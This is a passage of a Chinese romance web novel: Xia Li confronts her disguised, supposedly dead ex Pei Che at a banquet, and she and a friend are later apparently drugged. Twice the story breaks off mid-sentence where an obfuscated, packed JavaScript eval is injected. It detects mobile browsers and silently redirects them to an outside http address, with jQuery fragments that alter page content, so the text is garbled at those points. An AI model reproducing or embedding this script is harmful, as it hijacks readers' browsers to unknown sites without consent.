“那就是你传闻中的姐姐?” 夏语筠顺着好友的目光望去,夏梨穿着一身素白的礼裙,头发挽了公主头发髻,原本乌黑的长发卷过,层层叠叠铺了满背,像她本就旺盛的生命力。 夏语筠好似再也看不到别的人,聚光灯只笼罩在夏梨的身上,她一眼只能看到夏梨,漂亮得扎眼的存在。 “是啊,我姐姐。”夏语筠随口道。 好友揶揄道:“长得比你差远了,气质也没你好。听说她是道观长大的,会不会每天诵经念佛啊?哈哈哈你家老太太也真搞笑,竟然迷信这些东西。” 夏语筠眼神冷下来,“你想说什么?” “哎呀,这么凶干嘛啦,人家不是为你打抱不平吗?原先你才是你奶奶的心尖肉,现在大小姐的称呼都让出去了,而且你奶奶做什么都带着你姐姐……” 说着她音量放低了些,“你要小心到时候你的财产要分给你姐姐,你一分钱都拿不到。” 她和夏语筠说话的时候凑得很近,丝毫没有注意到有一个服务生绕到了她的身后,背在身后的那只手悄无声息地倒下一杯红酒在她的裙摆上。 夏梨早就已经站不住,口干舌燥,夏沁茹还在和人交谈,她的思绪却已经远走。 这时有一个服务生走到她身边,托盘在她身侧定住。 “您需要一杯香槟吗?” 夏梨回过神来,连服务生的脸都没注意看,视线落在他托盘中酒杯里轻微晃动的香槟上,正要伸手拿,服务生的动作比她的快,替她拿下递到她的手中,随后给她留下一个离开的背影。 夏梨拿着香槟酒,等到和奶奶交谈的人离开后,正要喝一口解渴,脑海中一闪而过刚刚服务生递酒杯过来的手。 他的中指上戴着一个熟悉的戒环。 夏梨猛然惊醒一般四处张望,那个服务生早就已经不见踪影。 与此同时,夏语筠所在的小角落里,一个女生低呼道:“啊!我的裙子,是谁这么缺德!” 12. Chapter.12 低声惊呼引来了别人的注目,那边的声音小下去,整个大厅又恢复正常,仿佛刚刚发生的事就连小插曲都算不上。 夏梨握着香槟酒的手微微发抖,倒不是别的,实在是饿了,但这酒她不敢喝。 裴澈送来的,谁知道有没有毒?他在这个时间点到这里来是想干嘛?砸场子? 夏梨想七想八,一时间忘记了自己还在宴会上,等回过神来,她看着对面那张陌生面孔,完全没法从记忆里搜寻出他的脸和名字。 她身后的助理低声提醒她:“是戴总和他的夫人。” 夏梨露出一个笑说:“戴总好,戴太太好。” 等人走了,夏沁茹低声问:“怎么心不在焉?累了?” 夏梨有话直说,还不忘添油加醋:“腿断了。” 夏沁茹少见的对她宽容,“再坚持一会儿,等我上去发言的时候,你去吃点东西。” “好。”夏梨声线雀跃,已经在盘算等一会儿要躲在哪个角落了。 现场逐渐安静下来,夏沁茹作为主办人上前发言,当所有人的注意力都被台上雷厉风行的女人吸引走的时候,夏梨正溜到角落,端起桌面的一碟蛋糕悄悄离开。 夏梨第一次来这里,路不太熟悉。她迫切需要找个没人的地方吃点东西垫垫肚子。 她误打误撞找到了露台,夜里冷却下来的沸腾空气灌入她的胸腔,终于有了一点喘息的空间。 夏梨四处望了一眼,至少她视线范围内没看到有人。 她寻了个偏角的位置,坐在秋千上,尽量靠后坐让两只脚腾空,纾解一下站太久给脚掌带来的压力。 手边的树莓塔被她两口吃完,这才稍微压下去一点胃里的饥饿感。 城市的夜空上无痕飞过一架客机,夏梨咀嚼口中甜美的食物,看着那架飞机深入黑夜的云层,机身逐渐看不到,最后飞机上闪烁的灯光也看不到了。 夏梨莫名想起有一年和裴澈一起回家,在离地面十二万米的高空中,裴澈忽然倾身吻住她。 那时她戴着眼罩在睡觉,其实早就已经醒了,只是不想睁开眼,像是赖床一样戴着眼罩赖着。 唇上的柔软来得并没有多莫名其妙,在这片柔软降临之前,裴澈的手穿过她的发丝,轻轻抚过后落在了她的身侧。 夏梨有所猜测,预想到了接下来会发生什么事,但她的动作没有裴澈的快。 夏梨抬手掀开自己的眼罩,看着他紧闭的眼睛,在吻她的时候好像是最虔诚的信徒。 她毫不留情推开他的脸,把眼罩摔在他身上,问他这是干嘛,语气不是很客气。 裴澈丝毫没慌乱,只是将眼罩拾起,在手中摆弄,随口答:“亲一下自己的女朋友也有问题?你也可以趁我不注意的时候亲我。” 说着他把眼罩戴上,学夏梨双手抱胸的姿势,佯装睡觉。 眼罩下的眼睛必定没有全部合上,他低着眼眸在鼻梁和眼罩之间的缝隙中等待着,满怀希冀有一个吻会落下。 夏梨当时不知道怎么想的,可能那时候是最接近于想和他有个美好结局的时刻,她头脑有些发热,顺着他的意俯身靠近他,还没有吻上去,他便抬起手掌住她的后脑勺把她压下来。 那也是晚上,月亮在云层之上亮得像一颗橙子味的八宝糖,她余光看着月亮,嘴里却甜甜的,好像尝到了月亮的味道。 口腔里甜甜的树莓塔都被尽数吞入腹中,夏梨回过神来,看着空空的精致瓷白碟子发愣,拿少了,她没吃饱。 她现在有那么一点恍惚,刚刚看到的到底是不是裴澈。他离开得太快了,估计又带着他的什么假脸皮,她竟然一点都没有认出他来。 只有那颗熟悉的戒指,而且明明她可以自己从托盘上拿,裴澈却亲手递到她的手中,好像就是在等着她发现他的真实身份。 夏梨不禁在想,如果她这时候把裴澈假死的消息公布出来会怎么样?各界名流都在这里。 后果只有两个,一个是大家相信裴澈还活着,裴澈完蛋;另一个是大家觉得她可能受到了什么精神重创,她完蛋。 夏梨还在自己的设想里,就在这时候忽然听到有脚步声朝她走来,她警觉地抬起头,露台边上金灿灿的光线交相辉映在对方的身上,而他的身后是宫廷般的华丽酒店。 正朝她走来的,是一个完全不熟悉的人。或者说身形还是裴澈,面孔却早已经不是裴澈了。 他穿着和服务生相同的衣服,却依旧走出完全不尽相同的气场。 夏梨紧锁着眉,看着对方走到自己面前,绅士地弯下腰,“我的公主,怎么自己一个人在这里呢?” 是的,她今天的装扮就是公主,公主恬静地坐在月光下的秋千上,甜品的奶油气息围绕着她,她变得比平时还要单纯无辜。 裴澈从身后拿出托盘,榛子脆皮巧克力,以及她刚刚两口便吃完的树莓塔,还有堆叠造型的卡龙,另一边还放着三文鱼手握。 裴澈拿出来的东西不少,他将它们放置于面前的桌子上,坐到夏梨的身边。 “饿了吧?给你拿了点东西吃。” 他随意而轻松地说出口,夏梨却没有他那么轻松。她在思考,裴澈到底有什么意图。 他顶着张不是他本人的脸皮在她面前装什么熟人呢。 夏梨手中的银叉直指裴澈的喉咙,还裹着奶油残痕的银叉就这么抵着他的皮肤。 裴澈低呼一声,那声低呼并没有惊讶和害怕,在夏梨听来反而还带着点欣赏,或者说是兴奋? 他有病吧。 随着她的动作,她的身体也跟着靠裴澈近了一些。 裴澈坐下的时候并没有和她挨着,两人之间还可以再坐下一个人,这会儿,夏梨俯身过来的身形已经完全弥补了那点空位。 裴澈老实地举起双手投降,面上却没有一点害怕的意思。 “别顶着这张陌生的脸和我说话,你最好把你的真面目露出来。” 她猜他不敢,不然他处心积虑假死的计划不就功亏一篑了吗? 夏梨是这么认为的,但是裴澈却不是。夏梨的话音刚落,他忽然扯下那张脸皮,吓了夏梨一大跳,她几乎是下意识弹开,嫌弃的表情没有丝毫保留地露了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630115|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过当裴澈那张脸出现的时候,夏梨心安了,这种心安来自于,她该要怎么大声呼喊才能让大家知道裴澈还活着的事实。 银叉成了夏梨的保命武器,她将银叉举在自己面前,做出防备的姿势。 裴澈哂笑一声,身体往前靠,喉咙主动靠上她的银叉,声音低沉,“四天没见了,我很想你。你是用这种办法想我的吗?有点酷哦。” 夏梨似乎能通过银叉感觉到他说话时的颤动。 这个角落正在发生的事情不会无人知晓。 肖颂安收到秦方好的消息,穿越长长的走廊去找她时,遥遥透过玻璃窗恰好看到这一幕。 从他的角度看去,旁边盛开的洋桔梗在月光下层层叠叠蔓延开,以秋千为中心,鲜花与月色簇拥着两个人,夏梨低头垂眸看着男人,而男人背朝他这边。太近了,如果要他再展开一点遐想,他会觉得那个服务生大概是在亲吻夏梨。 他不会插手夏梨的情感问题。但是上次在葬礼夏梨晕倒后,他亲眼目睹有一个穿着西装的男人从夏梨的房间离开,再怎么说都是对死者的不尊重。 只不过那个男人转瞬即逝,他直觉男人很高,背很宽阔,却没有看到更明显的面部特征。 如果把当时那个男人和现在眼前这个服务生的身形联系起来也不是说不通。肖颂安顿住脚步又看了两眼,觉得自己有点多管闲事。先不说裴澈已经死了,就算是没死的时候,夏梨也已经和他分手,她再有别的感情也很正常。 不过……夏梨喜欢一个服务生?口味变化这么大吗? 裴澈一瞬间和她靠近,夏梨又清晰地闻到了他身上的香味。她不动声色将他推开些,手上的银叉放下。 “你到这里来干什么?” 裴澈:“我说过了,四天没有见到你很想你,你把我拉黑了我联系不到你,所以我就来了。” “我是问你有什么别的目的。你应该知道今天是我奶奶的寿宴,你该不会是来给她送贺礼的吧?” “确实送了点小礼物,她应该已经收到了。” 夏梨显然有些气急败坏,她扬起手掌又要打下去,却堪堪停在半空中,她清晰咬字道:“裴澈。” 她和家里人处不来是一回事,但是裴澈不能这样对她的亲人,一码事归一码事。 裴澈主动把脸贴上去,“怎么了,你是不是对我有什么误会,我没想过害你和你家人。” 夏梨无声和他对视良久后抽走了手,另一只手上的银叉被她撇在桌上。 “我不管你要做什么,还是那句话,我的房子里容不下你了,你的现金全都带走,从此以后不要再出现在我面前。” 裴澈坐直了看着她,流转的目光里也不知道在探寻什么,但他清晰地感觉到心脏一阵一阵的钝痛。 他送来的食物,夏梨不会碰。她倏地着站起来,正要绕开他往前走,离她十米远的距离,裴述就站在宫廷路灯下。 他不可置信看着夏梨和她身边的男人,嘴唇轻轻蠕动,叫了一声,“姐姐……” 夏梨愣住,这下脑子是完全糊住了。 13. Chapter.13 裴述不知道自己哪里比不上这么一个服务生。 穷小子而已,夏梨在做什么?两个人靠得那么近,在接吻吗?她在摸他的脸? 裴述想要立刻上前把那个服务生的脸掰过来看看他到底长什么样。他和夏梨认识这么久了连她的手都不敢碰,这个服务生是什么东西?上不了台面的货色也敢和他抢人? 裴澈都已经死了,最大的威胁应该不在了才对,可为什么他却觉得眼前这个服务生的威胁性并不弱。 夏梨真的有点累了。裴家人是不是有什么毛病,为什么要跑来破坏她的独处时间。 而且不知道为什么,她在紧张,紧张什么她也不知道。 就忽然觉得裴述要是知道他哥哥还活着那她岂不是没什么机会报仇了? 她的想法很简单,就像尽管她和奶奶的关系一般,但真要她做选择的时候,她必定是站在自己家里人身边的。同理,裴述要是知道裴澈没死,他会站在谁那边显而易见。 夏梨脑子很乱,耳边有那么一瞬间只听得到心脏怦怦跳的声音。裴澈却像是没事人一样,竟然还伸出手指勾了勾牵夏梨的手。 这时裴述忽然往前走了几步,距离渐渐缩短,而裴澈也有了要转过头去的意思。 夏梨一巴掌摁住他的脑袋,上前一步遮住了他的小半肩膀。 “有事吗?”她的语气不太客气。 裴述看着夏梨向前一步那护犊子的动作,顿时如遭雷劈。她在保护这个不要脸的小白脸? 才认识多久啊,这个男的就手段了得,他刚刚可是看到了,他还伸手牵夏梨的手,什么心机绿茶,夏梨姐不会看不出来这男的是个捞货吧? “没……没什么,我就是想着你可能饿了,给你送点吃的。” 尽管裴述心里翻江倒海,他抓着托盘的手指节泛白,表面却还是强装着镇定平静说出这句话。 夏梨嗯了一声,“谢谢,我不饿,你先回去吧,我不现在不想被人打扰。” 话音刚落,夏梨听到裴澈一声极轻的笑,像轻快的气流拨开了炎热的空气。 夏梨没回头,看不到裴澈的表情,不会知道裴澈面对着城市光污染的繁华夜空,嘴角勾起的弧度或许可以挂上两瓶酱油。 两人的小动作在裴述看来简直充满了讽刺意味,他没死呢,但目前必须以夏梨的感受为主,裴述只好答应,目光落在那个服务生身上,想要记住他的特征。 裴述:“我刚刚看到夏董好像在找你。” “我知道了,我一会儿会回去。” 裴述视线从裴澈的身上落到夏梨的身上,来回扫视,只能选择妥协。 “好吧,姐姐,你早点过来,外面很热。” 夏梨没应他,他离开前又看了两眼服务生,决定等会让要去查监控。 夏梨看着裴述的身影终于消失在金橙色灯光的长廊中时,稍微松了口气。转身将裴澈压在秋千的靠背上,几乎是一气呵成。 秋千轻微摇晃,夏梨有那么一瞬间差点站不住脚,她的脚又开始酸疼了。 裴澈整张脸都带着笑意,“我以为你会戳穿我,竟然会站在我这一边吗?” “裴澈,你不要以为我这是在帮你。”夏梨想,总有一天她要亲手解决他。 裴澈装模作样点头,“当然,我有自知之明。” 夏梨放开他站稳。 裴澈坐起来靠她近一些,小声问:“是不是脚痛?” “如果今晚这里发生任何意外,我会怪到你的头上。”夏梨说。 裴澈哂笑一声,“这有点太冤枉了,阿猫阿狗做的事都算我头上的话是不是有点太过分了?” “你的嫌疑最大。” “好吧。既然你这么说了,那我会尽力保证这里的安全,不让这里发生任何意外。” 裴澈真是一个厚脸皮厚颜无耻的人,明明听懂了她的话却要装作自己是什么正义的化身,她根本不是这个意思。 夏梨不打算一直和他耗在这里,屋外空气干燥又湿热,在这种情况下她的妆有可能会花,而她今晚最基础的保证是自己不出任何差错,现在不该再待在这里了,继续和裴澈在这里掰扯没有任何意义。 她留给他一个背影,趾高气昂地离开了,高跟鞋在地板上噔噔噔响得很急。 裴澈嘴角带笑看着她的身影走进那片灯光里才重新整理好仪容,抬起头看天空,忽然觉得今天的天气真好。 夏梨走得很急,通往露台的门有很多,她忘记自己来的时候是从哪个门来的了,她只能从偏角正对着的门走回去。 刚一进门她和秦方好打了一个照面。 夏梨被她吓一跳,下意识回头看,秋千上空空如也,在月色下轻轻摇晃。已经看不到裴澈的身影了,她短暂地松了一口气,而后又想,她为什么又在紧张? 紧张过后,她才发现秦方好面色红润,像是盛着怒气,仔细一看眼眶还有些红。 夏梨莫名心虚,手不由自主地捏紧了裙边。 “你怎么了?”夏梨上前小心试探。 “你什么时候交男朋友了?” 夏梨:? “我没有交男朋友。”夏梨如实转达,秦方好估计是误会了什么。 她擦了擦眼角,“我今天本来好好的,肖颂安忽然找我说要和我聊一下救助站的问题,我就答应和他见面。结果根本没有什么重要的事情要说,两三句的事情非要见面,他接着又说上次在葬礼上亲眼看见有个男人从你休息的房间里走出来。你说他是不是有病……” 夏梨干笑两声,终于知道为什么肖颂安会对自己的态度有这么大的转变。 裴澈,都怪裴澈。夏梨拳头握紧了。 秦方好:“我今天晚上真的很生气,我觉得他这个人心理变态,恶意揣测别人,就和他吵起来了,然后他让我自己过来看,呜呜呜我看到你和那边的服务生举止很亲密,你怎么找了个没钱的啊。” 秦方好应该是喝了一点酒,情绪有点激动,她泪点很低,一般情绪激动的时候就会哭,喝了酒后就更加。 秦方好和肖颂安两个人分手后,很长一段时间都不说话,一说话就要吵架。每一次秦方好都只想吵赢对方,肖颂安夜很配合地让她赢。唯独这次,他们因为夏梨的事情吵了起来,她情绪有些不能自控,肖颂安让她自己来看,她来了,亲眼看到夏梨和一个服务生在一起。 她有点难以接受,这是她第一次吵架输给肖颂安。 秦方好带着哭腔,这种时候也不忘小声控诉夏梨不和她分享最新情报,提醒她擦亮眼睛不能找太差的,至少不能比裴澈差,又说她现在自暴自弃,怎么能找一个穷小子,最后更小声一些问她,服务生帅不帅。 夏梨一个头两个大,她搞不懂今晚怎么会有这么多事,她不过是去露台吃了个小蛋糕怎么天翻地覆了。 夏梨忽然离场,先前一直跟在夏梨身后的小助理一直在找她,看到她在走廊上和朋友说话赶忙跑过来。 “原来您在这儿,董事长给您准备了晚餐,您跟我来吧。” 小助理上前搀扶着秦方好,乘着电梯去了楼上。 夏沁茹单独为夏梨开了间套房,里面已经摆放好了各类菜品和饮料。 “董事长说让您好好休息,今晚辛苦您了。” 难得夏沁茹这今晚这么仁慈,竟然还反过来对她说辛苦了,夏梨有些受宠若惊,但这一晚上闹出的事情弄得她有些疲惫,这会儿竟然没有什么胃口,于是她只拧了一只纯净水喝,解一下口渴。 桌面上有冰镇的果酒饮料,但夏梨不觉得秦方好能喝,于是也给她拧了一只纯净水。 秦方好原本老老实实喝了,喝了两口发现味道不对劲,嚷着要喝酒。 夏梨不准,一个没看住她自己抱着一旁的果酒瓶喝了起来。 秦方好缩在沙发里,她也不管夏梨有没有听,开始和她说自己和肖颂安分手的原因。 夏梨确实不知道两人分手的原因,只知道他们很久之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633934|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前是在流浪猫狗救助站救助小动物的时候认识的。在一起的时候肖颂安一直都很迁就秦方好,后来忽然分手,秦方好没有告诉她原因,只忧郁又深沉地说了一句别问了。 现在竟然要告诉她分手的原因? “他一直都在处心积虑地接近我,被我发现了。从第一次在救助站见面的时候他就把我列为了他的目标。后来他想尽各种办法和我做朋友,知道我要去留学,他也跟着留学,强行介入我的好友圈,装出和我只是朋友的样子,其实他早就设好了一个陷阱等着我跳下去。” “我发现真相那天,他竟然还好意思说是因为喜欢我才接近我。你说他可不可笑,他真的特别会装,他那会儿创业手上没钱不直接找我借钱,只会装可怜,博取我的同情心后他得到了我的创业资金,你说这种男人怎么能要?” 据夏梨所知,肖颂安创业成功后,钱不仅仅是三倍还给秦方好,而且还让秦方好当了自己公司最大的股东。 所以说肖颂安的暗恋辛酸史在秦方好这里变成了处心积虑心思不纯。 虽说处心积虑和心思不纯都是真的,但有没有可能不是秦方好想的那样? 夏梨笑了一声,肖颂安都自顾不暇了还有空管她的闲事呢。 秦方好理解错了夏梨笑声背后真正的意思,“你也觉得好笑对吧?所以我当时果断和他分手了!你看我这么清醒,你是不是也该清醒一点。” 秦方好说着把手中的酒瓶往夏梨面前递了递。 夏梨微笑接过,想到了裴澈,她点头说:“是,的确要向你学习,清醒一点。” 她抬起手臂,喝了一口冰镇的果酒,甜香裹着酒气顺着她的喉咙滑下去,像是给她的心脏注射了一针安定剂。 两人继续说说笑笑,不知道过了多久,夏梨觉得有些热,而且这种热意还是从身体内部散发出来的,很奇怪的感觉。 夏梨酒量还不错,果酒的度数不高,她刚刚也只喝了两口。秦方好都还没有晕倒,她不太可能醉酒。 夏梨甩甩脑袋,问秦方好:“你觉不觉得有点热?” “热啊,我刚刚就想说了,我不仅热,我还好想打人,想打肖颂安。”秦方好喝得多,估计比夏梨更难受一些,夏梨看到她已经撩起礼服的裙摆,露出了光洁纤细的小腿。 “不对,”夏梨拍了拍自己的脸,她试探不出自己脸的温度,“我打电话给李助理。” 刚走了两步,她忽然想起来,她不知道李助理的电话,她的手机里没存她的号码。 越来越闷了,夏梨打开门出去看了一眼,走廊没有人,她又回来对秦方好说:“我出去找一下李助理,你在这里等我回来。” 秦方好点头说好,却越来越暴躁,那种暴躁的感觉已经攀爬到了她的头顶,她想和夏梨一起去,刚站起来整个人就跌倒在沙发上。 夏梨赶忙扶住她,发现自己比秦方好好太多,她完全可以正常行走。 另一边肖颂安发现秦方好离开的时间过于久了,不仅是她没回来,夏梨也一直没有回来。 秦父秦母主动找到肖颂安问他有没有见到秦方好,他觉得自己也有责任,安抚好两位家长后去找人。 肖颂安知道今天晚宴上,夏梨身边有个助理,他从助理那里得知两人正在楼上套房休息,便出了主会厅去找人。 从电梯里出来后肖颂安只专注查看门牌号,忽略了有一间房的门缝打开了一些,从里面伸出半个手机的摄像头对准了他。 夏梨刚走出房间没多久就腿软无力,几乎就要跌在地上,身后有人将她抱了起来,接着她只感觉天旋地转,再醒过神来的时候,她在一间陌生的房间内,面前站着裴澈。 屋内光线昏暗,夏梨感觉周遭的一切都变得缓慢,她呆滞地抬起头来,发现自己两只手正吊着裴澈的脖子,而裴澈的那张英俊的面庞和她隔了好像连10厘米都没有。 夏梨只感觉他身上熟悉的气息扑面而来,让人心安的同时,她不自觉地咽了口口水。